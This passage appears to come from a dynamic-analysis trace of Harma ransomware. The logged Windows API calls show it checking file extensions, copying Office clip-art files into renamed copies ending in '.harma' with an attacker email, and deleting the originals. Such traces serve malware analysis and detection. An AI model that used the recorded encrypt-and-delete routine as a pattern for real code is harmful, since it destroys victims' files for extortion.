(lpString=".dbf") returned 4 [0159.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0159.946] lstrlenW (lpString=".1cd") returned 4 [0159.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0159.946] lstrlenW (lpString=".jpg") returned 4 [0159.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0159.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0159.946] lstrlenW (lpString=".doc") returned 4 [0159.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.946] lstrlenW (lpString=".docx") returned 5 [0159.946] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.946] lstrlenW (lpString=".pdf") returned 4 [0159.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.946] lstrlenW (lpString=".xls") returned 4 [0159.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.946] lstrlenW (lpString=".xlsx") returned 5 [0159.946] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.946] lstrlenW (lpString=".ppt") returned 4 [0159.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0159.946] lstrlenW (lpString=".zip") returned 4 [0159.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.946] lstrlenW (lpString=".rar") returned 4 [0159.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.946] lstrlenW (lpString=".bz2") returned 4 [0159.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.946] lstrlenW (lpString=".7z") returned 3 [0159.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0159.947] lstrlenW (lpString=".dbf") returned 4 [0159.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0159.947] lstrlenW (lpString=".1cd") returned 4 [0159.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0159.947] lstrlenW (lpString=".jpg") returned 4 [0159.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.947] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.947] lstrlenW (lpString="J0086478.WMF") returned 12 [0159.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.948] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=14174) returned 1 [0159.948] CloseHandle (hObject=0x348) returned 1 [0159.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 0x20 [0159.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.948] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.948] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.949] GetLastError () returned 0x0 [0159.949] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x375e, lpOverlapped=0x0) returned 1 [0159.951] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x3760, lpOverlapped=0x0) returned 1 [0159.952] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0159.952] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.952] SetEndOfFile (hFile=0x34c) returned 1 [0159.952] CloseHandle (hObject=0x34c) returned 1 [0159.952] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.952] SetEndOfFile (hFile=0x348) returned 1 [0159.955] CloseHandle (hObject=0x348) returned 1 [0159.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0159.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0159.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0159.956] lstrlenW (lpString=".doc") returned 4 [0159.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.956] lstrlenW (lpString=".docx") returned 5 [0159.956] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.956] lstrlenW (lpString=".pdf") returned 4 [0159.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.956] lstrlenW (lpString=".xls") returned 4 [0159.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.956] lstrlenW (lpString=".xlsx") returned 5 [0159.956] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.956] lstrlenW (lpString=".ppt") returned 4 [0159.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0159.956] lstrlenW (lpString=".zip") returned 4 [0159.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.956] lstrlenW (lpString=".rar") returned 4 [0159.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.956] lstrlenW (lpString=".bz2") returned 4 [0159.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.956] lstrlenW (lpString=".7z") returned 3 [0159.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0159.956] lstrlenW (lpString=".dbf") returned 4 [0159.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0159.957] lstrlenW (lpString=".1cd") returned 4 [0159.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0159.957] lstrlenW (lpString=".jpg") returned 4 [0159.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0159.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0159.957] lstrlenW (lpString=".doc") returned 4 [0159.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.957] lstrlenW (lpString=".docx") returned 5 [0159.957] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.957] lstrlenW (lpString=".pdf") returned 4 [0159.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.957] lstrlenW (lpString=".xls") returned 4 [0159.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.957] lstrlenW (lpString=".xlsx") returned 5 [0159.957] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.957] lstrlenW (lpString=".ppt") returned 4 [0159.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0159.957] lstrlenW (lpString=".zip") returned 4 [0159.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.957] lstrlenW (lpString=".rar") returned 4 [0159.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.957] lstrlenW (lpString=".bz2") returned 4 [0159.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.957] lstrlenW (lpString=".7z") returned 3 [0159.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0159.957] lstrlenW (lpString=".dbf") returned 4 [0159.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0159.958] lstrlenW (lpString=".1cd") returned 4 [0159.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0159.958] lstrlenW (lpString=".jpg") returned 4 [0159.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.958] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.958] lstrlenW (lpString="J0089945.WMF") returned 12 [0159.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.958] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=19898) returned 1 [0159.959] CloseHandle (hObject=0x348) returned 1 [0159.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 0x20 [0159.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.959] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.959] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.960] GetLastError () returned 0x0 [0159.960] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4dba, lpOverlapped=0x0) returned 1 [0159.962] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4dc0, lpOverlapped=0x0) returned 1 [0159.963] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0159.963] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.963] SetEndOfFile (hFile=0x34c) returned 1 [0159.963] CloseHandle (hObject=0x34c) returned 1 [0159.963] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.963] SetEndOfFile (hFile=0x348) returned 1 [0159.966] CloseHandle (hObject=0x348) returned 1 [0159.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0159.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0159.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0159.967] lstrlenW (lpString=".doc") returned 4 [0159.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.967] lstrlenW (lpString=".docx") returned 5 [0159.967] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0159.967] lstrlenW (lpString=".pdf") returned 4 [0159.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.967] lstrlenW (lpString=".xls") returned 4 [0159.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.967] lstrlenW (lpString=".xlsx") returned 5 [0159.967] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0159.967] lstrlenW (lpString=".ppt") returned 4 [0159.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0159.967] lstrlenW (lpString=".zip") returned 4 [0159.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.967] lstrlenW (lpString=".rar") returned 4 [0159.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.967] lstrlenW (lpString=".bz2") returned 4 [0159.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.967] lstrlenW (lpString=".7z") returned 3 [0159.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0159.967] lstrlenW (lpString=".dbf") returned 4 [0159.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0159.967] lstrlenW (lpString=".1cd") returned 4 [0159.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0159.968] lstrlenW (lpString=".jpg") returned 4 [0159.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0159.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0159.968] lstrlenW (lpString=".doc") returned 4 [0159.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.968] lstrlenW (lpString=".docx") returned 5 [0159.968] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0159.968] lstrlenW (lpString=".pdf") returned 4 [0159.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.968] lstrlenW (lpString=".xls") returned 4 [0159.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.968] lstrlenW (lpString=".xlsx") returned 5 [0159.968] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0159.968] lstrlenW (lpString=".ppt") returned 4 [0159.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0159.968] lstrlenW (lpString=".zip") returned 4 [0159.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.968] lstrlenW (lpString=".rar") returned 4 [0159.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.968] lstrlenW (lpString=".bz2") returned 4 [0159.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.968] lstrlenW (lpString=".7z") returned 3 [0159.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0159.968] lstrlenW (lpString=".dbf") returned 4 [0159.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0159.969] lstrlenW (lpString=".1cd") returned 4 [0159.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0159.969] lstrlenW (lpString=".jpg") returned 4 [0159.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.969] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.969] lstrlenW (lpString="J0089992.WMF") returned 12 [0159.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.969] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=15680) returned 1 [0159.969] CloseHandle (hObject=0x348) returned 1 [0159.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 0x20 [0159.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.970] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.970] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.971] GetLastError () returned 0x0 [0159.971] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x3d40, lpOverlapped=0x0) returned 1 [0160.330] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x3d50, lpOverlapped=0x0) returned 1 [0160.332] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0160.332] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.332] SetEndOfFile (hFile=0x34c) returned 1 [0160.332] CloseHandle (hObject=0x34c) returned 1 [0160.332] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.332] SetEndOfFile (hFile=0x348) returned 1 [0160.377] CloseHandle (hObject=0x348) returned 1 [0160.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0160.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0160.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0160.416] lstrlenW (lpString=".doc") returned 4 [0160.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.416] lstrlenW (lpString=".docx") returned 5 [0160.416] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0160.416] lstrlenW (lpString=".pdf") returned 4 [0160.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.416] lstrlenW (lpString=".xls") returned 4 [0160.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.416] lstrlenW (lpString=".xlsx") returned 5 [0160.416] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0160.416] lstrlenW (lpString=".ppt") returned 4 [0160.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0160.416] lstrlenW (lpString=".zip") returned 4 [0160.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.416] lstrlenW (lpString=".rar") returned 4 [0160.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.416] lstrlenW (lpString=".bz2") returned 4 [0160.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.416] lstrlenW (lpString=".7z") returned 3 [0160.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0160.416] lstrlenW (lpString=".dbf") returned 4 [0160.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0160.416] lstrlenW (lpString=".1cd") returned 4 [0160.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0160.417] lstrlenW (lpString=".jpg") returned 4 [0160.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0160.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0160.417] lstrlenW (lpString=".doc") returned 4 [0160.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.417] lstrlenW 